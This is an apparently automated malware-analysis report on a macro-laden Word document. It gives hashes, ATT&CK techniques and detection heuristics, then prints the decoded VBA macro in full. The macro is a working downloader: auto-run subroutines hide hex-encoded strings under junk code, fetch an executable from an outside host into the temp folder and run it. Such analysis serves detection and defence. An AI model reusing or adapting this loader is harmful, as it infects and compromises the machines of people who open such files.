Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 66a2de2890ebaf7c…

MALICIOUS

Office (OLE)

77.0 KB Created: 2014-11-24 10:21:00 Authoring application: Microsoft Office Word First seen: 2015-01-15
MD5: 8c355ebd6582ce9bc1e2187eb826f1cb SHA-1: dd1260a61f2096c717255c99e019a81e48f3465e SHA-256: 66a2de2890ebaf7ca4521f97a44c5f30371aea72dc1023b051fea4ef3da94ece
324 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen entry point, indicating an attempt to automatically execute code upon opening. Critical heuristics indicate the use of URLDownloadToFile, a common API for downloading second-stage payloads. The VBA code attempts to obfuscate its actions and uses a custom decoder, suggesting malicious intent to download and execute further content.

Heuristics 10

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal KJOldfg As Long, _
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set vgGUFYfdg = CreateObject(BJBKfdg("5368656C6C2E4170706C69636174696F6E"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set vgGUFYfdg = CreateObject(BJBKfdg("5368656C6C2E4170706C69636174696F6E"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        oGHUGIdg = Environ(BJBKfdg("54454D50")) & BJBKfdg("5C6F484947554967696664672E657865")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31348 bytes
SHA-256: 08179c5c1fd32bfc2a221bf0ef6c6f2db29cf30fbe918254d826dd1e059a0908
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Win64 Then
    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal KJOldfg As Long, _
ByVal oHJdfg As String, ByVal oBJHfdgg As String, ByVal yVJfdgdfg As Long, _
ByVal RPBFSI As Long) As Long
#Else
    Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal KJOldfg As Long, _
ByVal oHJdfg As String, ByVal oBJHfdgg As String, ByVal yVJfdgdfg As Long, _
ByVal RPBFSI As Long) As Long
#End If



Sub oBJhdfgdfg()
If 866251 = 866251 + 1 Then End
If 6245 < 27 Then
If 241326 = 241326 + 1 Then End
If 2955 < 23 Then
If 158278 = 158278 + 1 Then End
If 4282 < 17 Then
        MsgBox (BJBKfdg("636270424F68766D3937"))
End If
If Len(BJBKfdg("465051755142464535393332")) = Len(BJBKfdg("7A4C797268514863")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("5771687671714A453638"))

End If
If Len(BJBKfdg("5A6E6C636C45445833383935")) = Len(BJBKfdg("784C4B7A66496170")) Then
If 241426 = 241426 + 1 Then End
If 8253 < 85 Then
        MsgBox (BJBKfdg("57716754454B53683638"))
End If
If Len(BJBKfdg("7050786461524C4E39393133")) = Len(BJBKfdg("7272584B4D4F7566")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 619835 = 619835 + 1 Then End
If 9898 < 64 Then
        MsgBox (BJBKfdg("4E696755434664773534"))
End If
If Len(BJBKfdg("6A6B484742635A5231363438")) = Len(BJBKfdg("4B586C7A75587A71")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("73504D4E6C7244533739"))


End If
If Len(BJBKfdg("58506A62746C4A5A39343138")) = Len(BJBKfdg("63664D53664B6A6F")) Then
If 574821 = 574821 + 1 Then End
If 8449 < 59 Then
If 418567 = 418567 + 1 Then End
If 7141 < 65 Then
        MsgBox (BJBKfdg("6D6B70616178744A3835"))
End If
If Len(BJBKfdg("4473724F5972456338393831")) = Len(BJBKfdg("584E535265576678")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("5751535364734E583439"))

End If
If Len(BJBKfdg("7358664C6657687439323839")) = Len(BJBKfdg("44624A75776C4751")) Then
If 268514 = 268514 + 1 Then End
If 6375 < 28 Then
        MsgBox (BJBKfdg("5259796B6A66574E3333"))
End If
If Len(BJBKfdg("574A55766B43716F39353438")) = Len(BJBKfdg("786D70536E775047")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 254242 = 254242 + 1 Then End
If 4597 < 48 Then
        MsgBox (BJBKfdg("69444453455341493834"))
End If
If Len(BJBKfdg("47654A515374786135343437")) = Len(BJBKfdg("4F78686A54715067")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))


End If
If 712996 = 712996 + 1 Then End
If 7652 < 14 Then
If 524115 = 524115 + 1 Then End
If 8832 < 44 Then
        MsgBox (BJBKfdg("4A69504366796C4F3334"))
End If
If Len(BJBKfdg("696C737468474F4B39363832")) = Len(BJBKfdg("4F58476B63666976")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("764B6D75764F59523234"))

End If
If Len(BJBKfdg("74696379557A414332383235")) = Len(BJBKfdg("4E4143516E694771")) Then
If 549271 = 549271 + 1 Then End
If 2249 < 25 Then
        MsgBox (BJBKfdg("6473796A4B444A4F3938"))
End If
If Len(BJBKfdg("6E5366566876566C33313831")) = Len(BJBKfdg("7779535A6F527355")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 293583 = 293583 + 1 Then End
If 5626 < 22 Then
        MsgBox (BJBKfdg("415652776E7642593336"))
End If
If Len(BJBKfdg("4B6F795A416F684636353736")) = Len(BJBKfdg("6C534F4850594677")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
iHJKHioufdg



End Sub
Sub AutoOpen()
If 299756 = 299756 + 1 Then End
If 3639 < 53 Then
If 983362 = 983362 + 1 Then End
If 9749 < 63 Then
If 991625 = 991625 + 1 Then End
If 6754 < 85 Then
        MsgBox (BJBKfdg("586F7874637363453637"))
End If
If Len(BJBKfdg("5866776D6B73695A39393237")) = Len(BJBKfdg("747A656A47654C41")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("6C4B556950486C633134"))

End If
If Len(BJBKfdg("6B6464434E4B4D4231353839")) = Len(BJBKfdg("4C4A48716F6A6C54")) Then
If 775932 = 775932 + 1 Then End
If 4334 < 18 Then
        MsgBox (BJBKfdg("7247464A77674E713539"))
End If
If Len(BJBKfdg("4447716A6954746138353937")) = Len(BJBKfdg("676C465268724555")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 855787 = 855787 + 1 Then End
If 5396 < 56 Then
        MsgBox (BJBKfdg("456853426B4A48423339"))
End If
If Len(BJBKfdg("4A484D544845564F36313536")) = Len(BJBKfdg("53706C714F497343")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("56486943486C766C3734"))


End If
If Len(BJBKfdg("5479715842516C5036383933")) = Len(BJBKfdg("6276506E4B4A5556")) Then
If 692985 = 692985 + 1 Then End
If 8975 < 83 Then
If 463719 = 463719 + 1 Then End
If 7327 < 48 Then
        MsgBox (BJBKfdg("46595252415364503532"))
End If
If Len(BJBKfdg("744879535A77454B32353831")) = Len(BJBKfdg("596D494E514D7A76")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("526945634E556F593133"))

End If
If Len(BJBKfdg("736359786F4E744239373235")) = Len(BJBKfdg("7948797A7A746C73")) Then
If 431568 = 431568 + 1 Then End
If 1154 < 14 Then
        MsgBox (BJBKfdg("6C76767A6C706C6E3836"))
End If
If Len(BJBKfdg("6C45636B6670656234333237")) = Len(BJBKfdg("6743584375676844")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 259124 = 259124 + 1 Then End
If 6381 < 28 Then
        MsgBox (BJBKfdg("5445664C444E515A3332"))
End If
If Len(BJBKfdg("5846474E464F615139353534")) = Len(BJBKfdg("636B6C6658696E6B")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))


End If
If 587746 = 587746 + 1 Then End
If 5774 < 13 Then
If 813783 = 813783 + 1 Then End
If 3563 < 53 Then
        MsgBox (BJBKfdg("555762585172656A3435"))
End If
If Len(BJBKfdg("556162645272446837373336")) = Len(BJBKfdg("4847756F7A576367")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("4D4C7A5A496C6B453635"))

End If
If Len(BJBKfdg("4A67496B56774C7436363334")) = Len(BJBKfdg("6C4B7154754D6C51")) Then
If 639237 = 639237 + 1 Then End
If 3876 < 94 Then
        MsgBox (BJBKfdg("426C73654E4751773435"))
End If
If Len(BJBKfdg("496C495A5379477137313439")) = Len(BJBKfdg("705873474D52664A")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 985124 = 985124 + 1 Then End
If 6699 < 69 Then
        MsgBox (BJBKfdg("4F554F6671696F4E3433"))
End If
If Len(BJBKfdg("43694A4D494D6A5137353439")) = Len(BJBKfdg("4B41686241424542")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
    oBJhdfgdfg



End Sub
Sub Workbook_Open()
If 381193 = 381193 + 1 Then End
If 7611 < 32 Then
If 712872 = 712872 + 1 Then End
If 4876 < 42 Then
If 476235 = 476235 + 1 Then End
If 4678 < 92 Then
        MsgBox (BJBKfdg("53445642516972723534"))
End If
If Len(BJBKfdg("506F52467A70545435353238")) = Len(BJBKfdg("7353697A70497473")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("764A78424E4B4A483234"))

End If
If Len(BJBKfdg("536B52596345426E35363237")) = Len(BJBKfdg("555165716B4F7346")) Then
If 862387 = 862387 + 1 Then End
If 8255 < 85 Then
        MsgBox (BJBKfdg("5A6D6B764B774A513339"))
End If
If Len(BJBKfdg("705077786146537239393135")) = Len(BJBKfdg("74724D7A4D4D4E6B")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 865851 = 865851 + 1 Then End
If 6242 < 27 Then
        MsgBox (BJBKfdg("644F474F6544676A3738"))
End If
If Len(BJBKfdg("434F646F48726C7939343935")) = Len(BJBKfdg("76644777565A4B44")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("5058774D66556F423435"))


End If
If Len(BJBKfdg("6179437A676A626938343531")) = Len(BJBKfdg("5A50626763475646")) Then
If 178261 = 178261 + 1 Then End
If 1698 < 47 Then
If 951731 = 951731 + 1 Then End
If 6355 < 66 Then
        MsgBox (BJBKfdg("5368645771636D4D3539"))
End If
If Len(BJBKfdg("4E486D4149705A5237313936")) = Len(BJBKfdg("576F4C754167484B")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("6D537042534370643233"))

End If
If Len(BJBKfdg("745159767666666532343438")) = Len(BJBKfdg("596870535553444F")) Then
If 885953 = 885953 + 1 Then End
If 8756 < 43 Then
        MsgBox (BJBKfdg("7157464A636557573935"))
End If
If Len(BJBKfdg("6F6A6C594679787839363937")) = Len(BJBKfdg("504D434D43525865")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 511977 = 511977 + 1 Then End
If 2858 < 23 Then
        MsgBox (BJBKfdg("766A76764C6D44713935"))
End If
If Len(BJBKfdg("62776346446D637035323232")) = Len(BJBKfdg("6C47586C596E5163")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))


End If
If 723698 = 723698 + 1 Then End
If 4174 < 44 Then
If 973985 = 973985 + 1 Then End
If 9646 < 52 Then
        MsgBox (BJBKfdg("6A46554643514F663134"))
End If
If Len(BJBKfdg("667064456446734733383139")) = Len(BJBKfdg("4844484A77735077")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("787A6246484357763236"))

End If
If Len(BJBKfdg("505A556D6749657035383335")) = Len(BJBKfdg("5458794E69466863")) Then
If 159517 = 159517 + 1 Then End
If 1237 < 15 Then
        MsgBox (BJBKfdg("476C6F50706B70673539"))
End If
If Len(BJBKfdg("784F73496C50745932393837")) = Len(BJBKfdg("6B65506664476C4D")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 116874 = 116874 + 1 Then End
If 8552 < 41 Then
        MsgBox (BJBKfdg("7865585579444A563833"))
End If
If Len(BJBKfdg("757A6C754B72584632373235")) = Len(BJBKfdg("4959586D615A6D6D")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
    oBJhdfgdfg



End Sub
Sub iHJKHioufdg()
If 483374 = 483374 + 1 Then End
If 1672 < 19 Then
If 648152 = 648152 + 1 Then End
If 9182 < 56 Then
If 127347 = 127347 + 1 Then End
If 4238 < 45 Then
        MsgBox (BJBKfdg("756D794A4A6458553636"))
End If
If Len(BJBKfdg("465070474E544B4235393738")) = Len(BJBKfdg("4972496D4D517464")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("566D70434C6E52483739"))

End If
If Len(BJBKfdg("675251745770574233333535")) = Len(BJBKfdg("486F676B65556C54")) Then
If 422739 = 422739 + 1 Then End
If 9331 < 44 Then
        MsgBox (BJBKfdg("446F7845724466523537"))
End If
If Len(BJBKfdg("6B4675614F69617631313731")) = Len(BJBKfdg("54436E56664D656C")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 392732 = 392732 + 1 Then End
If 4559 < 49 Then
        MsgBox (BJBKfdg("65476B43754149493734"))
End If
If Len(BJBKfdg("50747757684D524E35343939")) = Len(BJBKfdg("54764D6E6F4E4A66")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("78614F4A51434D543832"))


End If
If Len(BJBKfdg("787549695458525232343332")) = Len(BJBKfdg("6A627544767A4B4B")) Then
If 181544 = 181544 + 1 Then End
If 7654 < 14 Then
If 831156 = 831156 + 1 Then End
If 8217 < 23 Then
        MsgBox (BJBKfdg("73676C4D465944513938"))
End If
If Len(BJBKfdg("5867476C6E434B6E39393637")) = Len(BJBKfdg("634B6C594F776A75")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("746578614C7754723836"))

End If
If Len(BJBKfdg("7969776A4477677232383237")) = Len(BJBKfdg("6658656471644E65")) Then
If 391266 = 391266 + 1 Then End
If 4544 < 63 Then
        MsgBox (BJBKfdg("7247666C6474674B3834"))
End If
If Len(BJBKfdg("51746B6B7763717137383137")) = Len(BJBKfdg("4C4C42644B675870")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 948868 = 948868 + 1 Then End
If 9386 < 68 Then
        MsgBox (BJBKfdg("6C786F53674C50583131"))
End If
If Len(BJBKfdg("6B4A475A5457736331323436")) = Len(BJBKfdg("4C6D6B47446C5072")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))


End If
If 744947 = 744947 + 1 Then End
If 1149 < 76 Then
If 438879 = 438879 + 1 Then End
If 7344 < 77 Then
        MsgBox (BJBKfdg("6345666D616562583232"))
End If
If Len(BJBKfdg("724C6B6C7077776638323934")) = Len(BJBKfdg("4264484265414F41")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("756C534756776A683636"))

End If
If Len(BJBKfdg("635266584274597632383839")) = Len(BJBKfdg("5153494C454A496C")) Then
If 859458 = 859458 + 1 Then End
If 2294 < 87 Then
        MsgBox (BJBKfdg("70416764676875783637"))
End If
If Len(BJBKfdg("6E51486D6842785233313435")) = Len(BJBKfdg("464D706B4D517662")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 773279 = 773279 + 1 Then End
If 7364 < 76 Then
        MsgBox (BJBKfdg("63416E6C7A6953523232"))
End If
If Len(BJBKfdg("724A456C716E554338323234")) = Len(BJBKfdg("42707A4372595771")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
    iGUGIfdg = BJBKfdg("687474703A2F2F65636F766F796167652E6869322E726F2F6A732F62696E2E657865")



If 997564 = 997564 + 1 Then End
If 9872 < 64 Then
If 841319 = 841319 + 1 Then End
If 8955 < 17 Then
If 544828 = 544828 + 1 Then End
If 8138 < 56 Then
        MsgBox (BJBKfdg("4D784F51567471443631"))
End If
If Len(BJBKfdg("7159714B42466E5833333932")) = Len(BJBKfdg("5371447969644E5A")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("4571676E714D51723338"))

End If
If Len(BJBKfdg("716E6C626C64557833323138")) = Len(BJBKfdg("744D4A72646C4D50")) Then
If 132848 = 132848 + 1 Then End
If 8166 < 74 Then
        MsgBox (BJBKfdg("756245684270615A3637"))
End If
If Len(BJBKfdg("75545A594C70514132333339")) = Len(BJBKfdg("7A56617153674247")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 713368 = 713368 + 1 Then End
If 1733 < 73 Then
        MsgBox (BJBKfdg("79745479696A6F423837"))
End If
If Len(BJBKfdg("786875666F4E766935393936")) = Len(BJBKfdg("564C506E6B765646")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("6C4E656A4D616A463136"))


End If
If Len(BJBKfdg("686D497571724B6831373332")) = Len(BJBKfdg("4A42736C6C5A6A58")) Then
If 818144 = 818144 + 1 Then End
If 2782 < 73 Then
If 268928 = 268928 + 1 Then End
If 3331 < 36 Then
        MsgBox (BJBKfdg("566274746C49506F3731"))
End If
If Len(BJBKfdg("52476F724161596E34313732")) = Len(BJBKfdg("626F554F6D754D46")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("6F726F43656B48573836"))

End If
If Len(BJBKfdg("626650747461757233363332")) = Len(BJBKfdg("614B666B64625450")) Then
If 798944 = 798944 + 1 Then End
If 1689 < 72 Then
        MsgBox (BJBKfdg("75427044754F704F3632"))
End If
If Len(BJBKfdg("636F514D696C624B32353339")) = Len(BJBKfdg("424466696A4A4276")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 172833 = 172833 + 1 Then End
If 1359 < 31 Then
        MsgBox (BJBKfdg("475A6C4E7869726E3532"))
End If
If Len(BJBKfdg("774B635654414E4B35353234")) = Len(BJBKfdg("5259744D656C504A")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))


End If
If 979924 = 979924 + 1 Then End
If 9431 < 21 Then
If 974261 = 974261 + 1 Then End
If 3432 < 99 Then
        MsgBox (BJBKfdg("6B53494E6C74445A3134"))
End If
If Len(BJBKfdg("494370696C46655137363935")) = Len(BJBKfdg("706E537741645A6B")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("4F5275744E4D594F3432"))

End If
If Len(BJBKfdg("6A4D71656F645A6134363934")) = Len(BJBKfdg("76494B425972664E")) Then
If 921537 = 921537 + 1 Then End
If 6954 < 87 Then
        MsgBox (BJBKfdg("4277777A42556A593731"))
End If
If Len(BJBKfdg("426E6D6B4B55615431323237")) = Len(BJBKfdg("4D4C4C435353674C")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 393427 = 393427 + 1 Then End
If 8147 < 32 Then
        MsgBox (BJBKfdg("55425467677573783436"))
End If
If Len(BJBKfdg("735268534C41426A39383838")) = Len(BJBKfdg("62534F4F63674E73")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
    oGHUGIdg = Environ(BJBKfdg("54454D50")) & BJBKfdg("5C6F484947554967696664672E657865")



If 522687 = 522687 + 1 Then End
If 8272 < 85 Then
If 745647 = 745647 + 1 Then End
If 7353 < 48 Then
If 933229 = 933229 + 1 Then End
If 6281 < 65 Then
        MsgBox (BJBKfdg("4F695A6D766D6A483437"))
End If
If Len(BJBKfdg("564951615875764137393331")) = Len(BJBKfdg("4B7A705947735147")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("756C476E716E524A3839"))

End If
If Len(BJBKfdg("72466D686E5A796C38313934")) = Len(BJBKfdg("546C56454F615242")) Then
If 449797 = 449797 + 1 Then End
If 4394 < 74 Then
        MsgBox (BJBKfdg("536C6641555270413539"))
End If
If Len(BJBKfdg("4F474D6B5659516535313534")) = Len(BJBKfdg("434367675A6C4456")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 472963 = 472963 + 1 Then End
If 1568 < 18 Then
        MsgBox (BJBKfdg("6D5745764D7159513831"))
End If
If Len(BJBKfdg("77615A4646716A5132333238")) = Len(BJBKfdg("686C7A6C556A4556")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("416C5475594B70493936"))


End If
If Len(BJBKfdg("57666E467376496739393332")) = Len(BJBKfdg("727A69504F6A6C66")) Then
If 229858 = 229858 + 1 Then End
If 5253 < 55 Then
If 671355 = 671355 + 1 Then End
If 3826 < 69 Then
        MsgBox (BJBKfdg("614677794C7A624F3734"))
End If
If Len(BJBKfdg("546D79457678644534373736")) = Len(BJBKfdg("4C5A6E6E65706776")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("71776B6A576246703931"))

End If
If Len(BJBKfdg("4A517767724C505A36313934")) = Len(BJBKfdg("53744D4D43565648")) Then
If 328434 = 328434 + 1 Then End
If 7619 < 94 Then
        MsgBox (BJBKfdg("7A7A7A45746548613736"))
End If
If Len(BJBKfdg("6575614D42656E4E31383733")) = Len(BJBKfdg("71574947774D714E")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 876342 = 876342 + 1 Then End
If 2554 < 71 Then
        MsgBox (BJBKfdg("6F474D706472476D3639"))
End If
If Len(BJBKfdg("624E776B6644795A33333934")) = Len(BJBKfdg("6145565278735270")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))


End If
If 158393 = 158393 + 1 Then End
If 1489 < 69 Then
If 355651 = 355651 + 1 Then End
If 9315 < 96 Then
        MsgBox (BJBKfdg("6168444879476F673739"))
End If
If Len(BJBKfdg("67485878456E6A4E31313535")) = Len(BJBKfdg("6F6F6D7A63594566")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("78417569666875643232"))

End If
If Len(BJBKfdg("6D585343526C4F4634363533")) = Len(BJBKfdg("58626871444A696D")) Then
If 278571 = 278571 + 1 Then End
If 2682 < 72 Then
        MsgBox (BJBKfdg("4151756A696E755A3333"))
End If
If Len(BJBKfdg("76754479635A497233343432")) = Len(BJBKfdg("4E50686C59616950")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 143841 = 143841 + 1 Then End
If 7276 < 76 Then
        MsgBox (BJBKfdg("79495568696573763638"))
End If
If Len(BJBKfdg("754459597A65576332353439")) = Len(BJBKfdg("61757473576F6F51")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
    R = URLDownloadToFileA(0&, iGUGIfdg, oGHUGIdg, 0&, 0&)



If 895443 = 895443 + 1 Then End
If 2645 < 82 Then
If 188111 = 188111 + 1 Then End
If 7649 < 71 Then
If 711645 = 711645 + 1 Then End
If 5689 < 12 Then
        MsgBox (BJBKfdg("75796B76787644723633"))
End If
If Len(BJBKfdg("487946566F474A4D38383533")) = Len(BJBKfdg("6B506B716A666A6E")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("4A5074686F6167623533"))

End If
If Len(BJBKfdg("747164585944787138353839")) = Len(BJBKfdg("4E4551416E4B4F76")) Then
If 667983 = 667983 + 1 Then End
If 6321 < 89 Then
        MsgBox (BJBKfdg("6A76567441504E743131"))
End If
If Len(BJBKfdg("56467A725065587839353834")) = Len(BJBKfdg("4B756E4945697050")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 726346 = 726346 + 1 Then End
If 7169 < 12 Then
        MsgBox (BJBKfdg("797056694865534A3838"))
End If
If Len(BJBKfdg("48706D595A6C4A5538383239")) = Len(BJBKfdg("6B44564D514B6866")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("70434868737169743935"))


End If
If Len(BJBKfdg("6E696B78644D636635383138")) = Len(BJBKfdg("7A515750776C434D")) Then
If 999663 = 999663 + 1 Then End
If 9813 < 39 Then
If 838419 = 838419 + 1 Then End
If 5133 < 54 Then
        MsgBox (BJBKfdg("4841645657446B453337"))
End If
If Len(BJBKfdg("4859736646447A5A38333936")) = Len(BJBKfdg("514E504C494B6748")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("6C586876535A52773135"))

End If
If Len(BJBKfdg("65585356764C497331363534")) = Len(BJBKfdg("52626873596B694B")) Then
If 145892 = 145892 + 1 Then End
If 1355 < 68 Then
        MsgBox (BJBKfdg("77784A505A524D733231"))
End If
If Len(BJBKfdg("6C4A636E4C55774432323135")) = Len(BJBKfdg("577761447A79576C")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 479373 = 479373 + 1 Then End
If 1542 < 33 Then
        MsgBox (BJBKfdg("77436A48794666473235"))
End If
If Len(BJBKfdg("777A68754E46564635373135")) = Len(BJBKfdg("5248437A78544944")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))


End If
If 345569 = 345569 + 1 Then End
If 9294 < 95 Then
If 543927 = 543927 + 1 Then End
If 3813 < 84 Then
        MsgBox (BJBKfdg("586D5A47545241783436"))
End If
If Len(BJBKfdg("546D4E666B57546436313736")) = Len(BJBKfdg("75564541626C744C")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
        MsgBox (BJBKfdg("7271444F43577A4E3838"))

End If
If Len(BJBKfdg("6B51576A6D59705131313534")) = Len(BJBKfdg("64746C5867536342")) Then
If 933738 = 933738 + 1 Then End
If 1879 < 36 Then
        MsgBox (BJBKfdg("5179415752726F5A3437"))
End If
If Len(BJBKfdg("6C77544D4463745734323433")) = Len(BJBKfdg("6E7064477167484D")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
       MsgBox (BJBKfdg("4572726F7220212121"))

End If
If 874542 = 874542 + 1 Then End
If 8642 < 28 Then
        MsgBox (BJBKfdg("7048496C4E48494F3934"))
End If
If Len(BJBKfdg("75716770684B707139353833")) = Len(BJBKfdg("6D6C49754D527374")) Then
       MsgBox (BJBKfdg("4572726F7220212121"))
End If
    Set vgGUFYfdg = CreateObject(BJBKfdg("5368656C6C2E4170706C69636174696F6E"))



vgGUFYfdg.Open oGHUGIdg
End Sub


Public Function BJBKfdg(ByVal zqEOxxkkLThI As String) As String
